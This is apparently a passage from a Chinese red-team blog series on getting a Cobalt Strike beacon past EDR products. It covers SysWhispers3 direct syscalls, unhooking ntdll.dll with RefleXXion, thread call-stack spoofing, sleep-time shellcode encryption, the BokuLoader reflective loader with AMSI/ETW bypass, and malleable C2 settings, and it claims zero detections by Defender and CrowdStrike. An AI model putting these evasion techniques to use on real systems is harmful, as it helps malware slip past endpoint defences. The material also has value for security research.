针对RIP的检测,作者也给出了技术方案,还是比较简单的。在内存中搜索syscall的地址,直接jmp到该位置。即可让RIP指向ntdll。
上面提及的两种方法在SysWhispers3已经有所应用:
# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86
# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64
# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper
# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw
使用的时候遇到了坑:
起初一直以为是mov r10,rcx报错,后来发现是下一句报错..无法直接往内存写。不知道怎么解决,生成jumper是可以使用的:
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1
八、删除ntdll.dll中的钩子
另一种绕过ntdll.dll中EDR钩子的好方法,就是用ntdll.dll的新副本覆盖默认加载(并被EDR钩住)的ntdll.dll。通常情况下,Windows进程加载的第一个DLL就是ntdll.dll库。而EDR解决方案需要确保他们的DLL随之加载,以便在我们的代码执行之前将所有钩子布置到已加载的ntdll.dll中。如果我们的代码之后在内存中加载一个新的ntdll.dll副本,这些EDR钩子将被覆盖。RefleXXion是一个C++库,它实现了https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/中介绍的各种技术。RelfeXXion使用直接系统调用NtOpenSection和NtMapViewOfSection来获得\KnownDlls\ntdll.dll(具有以前加载的DLL的注册表路径)中纯净的ntdll.dll的句柄。然后,它就会覆盖已加载的ntdll.dll的.TEXT节,从而“冲走”所有的EDR钩子。
我建议使用RefleXXion库,相关技巧可以参考上面的介绍。
实现原理
此技术在《红队队开发基础-基础免杀(二)》中提到的syscall工具ParallelSyscalls中有提及。
该技术最初于《EDR Parallel-asis through Analysis》这篇文章中被提出。
Windows10之后的版本增加了windows parallel加载的特性,简单点说就是win10之前的系统dll加载都是同步加载的,windows10以后引入异步加载。
在加载所有dll之前系统会做一些列判断,判断是采用同步还是异步加载。
在这过程种,windows会保存NtOpenFile(), NtCreateSection(), ZwQueryAttributeFile(), ZwOpenSection(), ZwMapViewOfFile()这几个函数的存根,保存位置在ntdll的.text节中。
这样就是说,这几个函数就算被hook,我们也可以获取到syscall number。并且有了这个函数,我们可以重新把内存种的ntdll换成干净的ntdll,实现了unhook的操作。
其中获取到纯净的ntdll有两种方式,如图:
具体实现
参考工具RefleXXion
该工具有exe和dll的形式可以直接编译dll进行使用。利用RefleXXion的dll可以解除对ntdll.32的hook。
下面的例子是对Sleep函数进行了hook,因为sleep函数在Kernel32.dll中,要对dll源码进行改动。
首先调用InitSyscallsFromLdrpThunkSignature函数,函数名顾名思义就说获取到syscall存根。
这段代码似曾相识,和《红队队开发基础-基础免杀(二)》中的从dll搜索是从ntdll.dll中搜索出syscall的系统调用号几乎一样:
使用BuildSyscallStub工厂函数生成不同函数的syscall内联汇编代码:
强制转换成函数指针以备调用:
接下来要替换掉内存中ntdll.dll的函数,该工具使用两种技术,说的两种技术其实主要是ntdll.dll获取的位置不同,技术一从\??\C:\Windows\System32\ntdll.dll读取,技术二从\KnownDlls\ntdll.dll读取。
技术一
使用NtCreateSection和NtMapViewOfSection api:
首先通过本地文件创建内存session:
ntStatus = RxNtCreateSection(&hSection, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY,
NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
之后映射到当前进程的内存中:
ntStatus = RxNtMapViewOfSection(hSection, NtCurrentProcess(), &pCleanNtdll, NULL, NULL, NULL, &sztViewSize, 1, 0, PAGE_READONLY);
可以看到dll被载入了内存,明显是MZ头为PE文件。之后搜索当前进程中已经加载的ntdll.dll:
解析已有的dll的pe结构,找到.text段:
进行替换:
这样就解除了对ntdll.dll中函数的hook。
技术二
主要是用NtOpenSection和NtMapViewOfSection实现,dll获取方式不同对应使用的api就不同,这里技术二和技术一原理差不多,这里不做过多分析。
解决问题
编译dll直接调用,发现没有成功。
找调试dll的方式,只要将dll项目的debug选项调成加载该dll的exe就可以实现dll的远程调试:
发现RtlInitUnicodeString调用返回了false,这个函数是ntdll.dll里的,这里改动有问题:
这里返回的hHookedNtdll变量有两个作用,一是获取到RtlInitUnicodeString函数,二是要作为下面等待被替换的dll名称。
这里作用一应该是ntdll.dll,而作用二应该是kernel32.dll。进行一系列修改:
又报错,一样的问题,这里的pCleanNtll应该是ntdll的副本,这里是kernel32.dll的副本了:
改为从ntdll获取这个api。
没有被hook之前,sleep函数的内存为:
hook后产生变化:
加载dll后恢复:
可以看到hook已经被解除,sleep函数被正常调用:
九、伪造线程调用堆栈
接下来的两节,将为读者介绍两种技术,用于帮助内存中的shellcode规避检测,两种技术都是配套cs进行使用的:
基础知识
Cobalt Strike默认对命令有60s的等待时间,我们可以通过sleep x命令修改这个时间。通过sleep实现了beacon的通讯间隔控制。beacon中调用系统sleep进行休眠,teamserver实现一种消息队列,将命令存储在消息队列中。当beacon连接teamserver时读取命令并执行。
常规的cs在sleep休眠时,线程返回地址会指向驻留在内存中的shellcode。通过检查可疑进程中线程的返回地址,我们的implant shellcode很容易被发现。
实现原理
在ThreadStackSpoofer项目的readme中有这样一张图:
笔者理解是EDR/工具获取调用栈是通过某一时刻的栈的状态获生成一个链状的图,在某个时间损坏中间的某个环节可以导致链状图不完整伪造调用图。
笔者没找到ThreadStackSpoofer作者的效果图是哪个工具生成的,这里直接贴ThreadStackSpoofer README中的图,经过hook的调用栈应该像下面的图:
没有经过hook的调用栈:
代码实现
在主线程中HOOK SLEEP函数,跳转到Mysleep函数。
通过创建进程的方式启动beacon,将Mysleep函数原本返回值的位置改为0:
这样就可以简单的扰乱程序的调用栈了。
由于implant的信标行为的缘故,在大部分时间里,它们都处于休眠状态,等待来自其控制者的传入任务。在这段时间里,implant很容易被EDR的内存扫描技术所发现。这篇文章中描述的两种规避方法中的第一种,就是伪造线程调用栈。
当implant处于休眠状态时,它的线程返回地址会指向驻留在内存中的shellcode。通过检查可疑进程中线程的返回地址,我们的implant shellcode很容易被发现。为了避免这种情况,可以设法打破返回地址和shellcode之间的这种联系。我们可以通过钩住Sleep()函数来做到这一点。当这个钩子被(由implant/ beacon shellcode)调用时,我们用0x0覆盖返回地址并调用原来的Sleep()函数。当Sleep()返回时,我们把原来的返回地址放回原处,这样线程就会返回到正确的地址继续执行。实际上,Mariusz Banach已经在他的ThreadStackSpoofer项目中实现了这种技术。这个存储库不仅提供了关于该技术的技术细节,还概述了一些注意事项。
我们可以在下面两张截图中看到,伪造的线程调用堆栈的情况,其中非伪造的调用堆栈指向non-backed的内存位置,而伪造的线程调用堆栈指向我们挂钩的休眠(MySleep)函数,并“切掉”了调用堆栈的其他部分。
默认的beacon线程调用栈:
伪造的beacon线程调用堆栈。
十、beacon的内存加密
一种绕过内存检测的方法,就是在休眠时对implant的可执行内存区域进行加密。使用与上节所述相同的休眠钩子,我们可以通过检查调用方地址(调用Sleep()的beacon代码,以及我们的MySleep()钩子)获得shellcode内存段。如果调用方的内存段的权限为MEM_PRIVATE和EXECUTABLE,并且长度与shellcode的大小相仿,那么,就可以用XOR函数对这个内存段进行加密,并调用Sleep()函数。然后,Sleep()函数返回时,会解密该内存段,并返回其地址。
另一种绕过内存检测的方法,是注册一个向量异常处理程序(Vectored Exception Handler,VEH),用于处理NO_ACCESS违规异常、解密内存段并将权限改为RX。然后在进入休眠之前,将内存段标记为NO_ACCESS,这样的话,当Sleep()函数返回时,它就会抛出一个内存访问违规异常。因为我们已经注册了相应的VEH,所以该异常将在该线程上下文中处理,并且可以在抛出异常的同一位置恢复。该VEH可以进行解密并将权限改回RX,这样implant就可以继续执行了。这种技术可以避免implant进入休眠时出现可检测的Sleep()钩子。
Mariusz Banach已经在ShellcodeFluctuation中实现了这种技术。
基本原理
主要是根据ShellcodeFluctuation
该项目是基于threadstackspoofer项目的加强版,在sleep函数执行的时候在对shellcode内存的修改属性且解密。可以一定程度上绕过edr的内存扫描。原理就是beacon线程在执行sleep函数的时候,会自动将自己的内存加密并修改属性为不可执行,再执行正常的sleep函数。执行成功后恢复shellcode并使之可以执行,等待下一次连接重复上述操作。在sleep函数真正执行的过程中,shellcode为不可执行属性可以绕过edr的检查。
一个疑问
这里存在一个问题,加密shellcode的话会不会影响Mysleep函数的执行?
推测Mysleep位于主进程的地址空间,始终可以被访问。跳出Mysleep的代码是在beacon线程的地址空间,被加上了不可执行属性。
我们通过对hookSleep函数的调试,可以看到一些东西:
addressToHook是原本Sleep函数所在的位置,jumpAddress为Mysleep函数所在的位置:
alloc为shellcode所在地址,可以看到和前面两个sleep函数所在地址相差非常多,可以印证前面的猜想。
代码实现
该工具主要有两种实现方式,依靠判断第二个命令行参数实现。该参数类型为int,对应枚举类,如下图:
0表示不对内存操作
1表示将内存标识为RW,
2表示将内存标识为NO_ACCESS,通过异常处理机制注册VEX实现修改代码执行逻辑。
两种技术前面的过程都差不多,进行参数解析后,hook sleep函数:
hook依旧依靠fastTrampoline函数:
接着beacon线程进入mysleep函数,sleep函数一共做了几件事情:
- initializeShellcodeFluctuation
- shellcodeEncryptDecrypt
- unhook sleep
- true sleep
- shellcodeEncryptDecrypt(set memery to RW)
- rehook sleep
首先进入initializeShellcodeFluctuation函数,这个函数主要从mysleep的返回地址的内存进行搜索,找到shellcode的位置:
搜索的方式还是挺有意思的,memoryMap是存储内存块的一个容器:
看看实现,VirtualQueryEx返回一个MEMORY_BASIC_INFORMATION对象,其RegionSize表示这块内存的大小。
通过不停的遍历,将所有存储内存块信息的对象mbi的首地址放入容器。后续判断sleep的返回地址是否在这块内存中定位到shellcode的内存段,随后完成对g_fluctuationData对象的初始化赋值:
g_fluctuationData主要包括shellcode内存块的位置,大小,是否加密,加密key等属性。
之后对shellcode进行xor加密,并将内存设为RW属性,没加密之前的内存:
主要通过shellcodeEncryptDecrypt函数加密。
加密后的内存:
密钥为:
使用Python验证,加密结果和预期的一致。
之后取消掉hook并执行常规的sleep:
等待cs默认的一分钟后,解密shellcode并设置内存属性为RX,并且重新hook sleep函数,以便下次执行:
内存已经被重置。
除了通过set RW属性外,还可以set NO_ACCESS属性,对应就是工具的命令行参数2,和参数一不同的是在注入shellcode之前注册了一个VEX:
接着触发到sleep和前面差不多,只是加密shellcode后标识为NO_ACCESS:
后续访问到这块内存的时候进入异常处理函数,将内存属性重新设为RX。恢复代码的执行。
十一、自定义反射型加载程序
我们在这个加载程序中执行的beacon shellcode最终是一个需要在内存中执行的DLL。许多C2框架利用了Stephen Fewer的ReflectiveLoader。关于反射型DLL 加载程序的工作原理有很多书面解释,Stephen Fewer的代码也提供了很好的文档,但简而言之,反射型加载程序可以完成以下操作:
- 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等);
- 将DLL及其相应的节写入内存中;
- 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI;
- 加载额外的库并解析其导入函数地址;
- 调用DLL的入口点。
Cobalt Strike目前支持以反射方式将DLL加载至内存的自定义,允许红队队员自定义beacon DLL的加载方式,并添加了相应的免杀技术。Bobby Cooke和Santiago P使用Cobalt Strike的UDRL建立了一个隐蔽的加载程序(BokuLoader),我自己的加载程序使用的就是它。BokuLoader实现了多种免杀技术:
- 限制对GetProcAddress()的调用(通常情况下,解析函数地址的WINAPI调用都会被EDR挂钩,就像我们在第4节做的那样)
- AMSI&ETW绕过
- 只使用直接系统调用
- 只使用RW或RX,而不使用RWX(EXECUTE_READWRITE)权限
- 从内存中删除beacon DLL的头文件
另外,确保取消这两个定义的注释,以通过HellsGate和HalosGate使用直接系统调用,从而顺利绕过ETW和AMSI(其实没有必要,因为我们已经禁用了ETW,也没有将加载程序注入另一个进程)。
十二、利用柔性配置文件配置OpSec
在柔性C2配置文件中,确保配置了以下选项,以限制使用具有RWX标记的内存(不仅会引起怀疑,并且很容易被检测出来),并在beacon启动后清除shellcode。
set startrwx "false";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
总结:
综合利用这些技术,你可以绕过Microsoft Defender for Endpoint和CrowdStrike Falcon(以及其他防御产品),我们在2022年4月中旬进行对这两款产品测试时,检出率为0——它们与SentinelOne一样,都是端点保护行业的领头羊。
CrowdStrike Falcon没有发出任何警报。
Windows Defender(还有Microsoft Defender for Endpoint,但是这里没有截图)没有发出任何警报
当然,这只是完全入侵端点的第一步,这并不意味着EDR解决方案已经彻底没戏了:实际上这取决于红队人员接下来选择的后渗透活动/模块,某些implant仍然有可能被EDR解决方案捕获。一般来说,红队人员接下来要么运行BOF,要么通过implant的SOCKS代理功能为后利用工具搭建隧道。此外,还可以考虑把EDR钩子的补丁放回我们的Sleep()钩子中,以避免检测到解钩以及删除ETW/AMSI补丁的动作。
这是一场猫捉老鼠的游戏,而猫无疑正在变得越来越棒。
边栏推荐
- Matlab画图2
- c语言小项目(三子棋游戏实现)
- [AGC] Build Service 1 - Cloud Function Example
- 路由中的meta、params传参的一些问题(可传不可传,为空,搭配,点击传递多次参数报错)
- 工龄10年的测试员从大厂“裸辞”后...
- 简述@RequestParam与@RequestBody参数注解
- 【debug】postgres数据存储错乱
- Oreo domain name authorization verification system v1.0.6 public open source version website source code
- dotnet 通过 WMI 获取系统安装软件
- 二叉搜索树解决硬木问题
猜你喜欢
随机推荐
for 循环中的 ++i 与 i++
【一起学Rust | 进阶篇 | Service Manager库】Rust专用跨平台服务管理库
Common methods of js's new Function()
无代码平台字段设置:基础设置入门教程
How to make good use of builder mode
Retrofit的使用及原理详解
MySQL field type
C语言小笔记+题
c语言小项目(三子棋游戏实现)
After the tester with 10 years of service "naked resignation" from the big factory...
拒绝服务攻击DDoS介绍与防范
项目难管理?先学会用好甘特图(内附操作方法及实用模板)
matlab 画图
Zero-knowledge proof notes - private transaction, pederson, interval proof, proof of ownership
文章复现:超分辨率网络-VDSR
[2022 Hangzhou Electric Multi-School 5 1003 Slipper] Multiple Super Source Points + Shortest Path
经验分享|盘点企业进行知识管理时的困惑类型
手撕SparkSQL五大JOIN的底层机制
win10 uwp 修改图片质量压缩图片
win10 uwp 使用 ScaleTransform 放大某个元素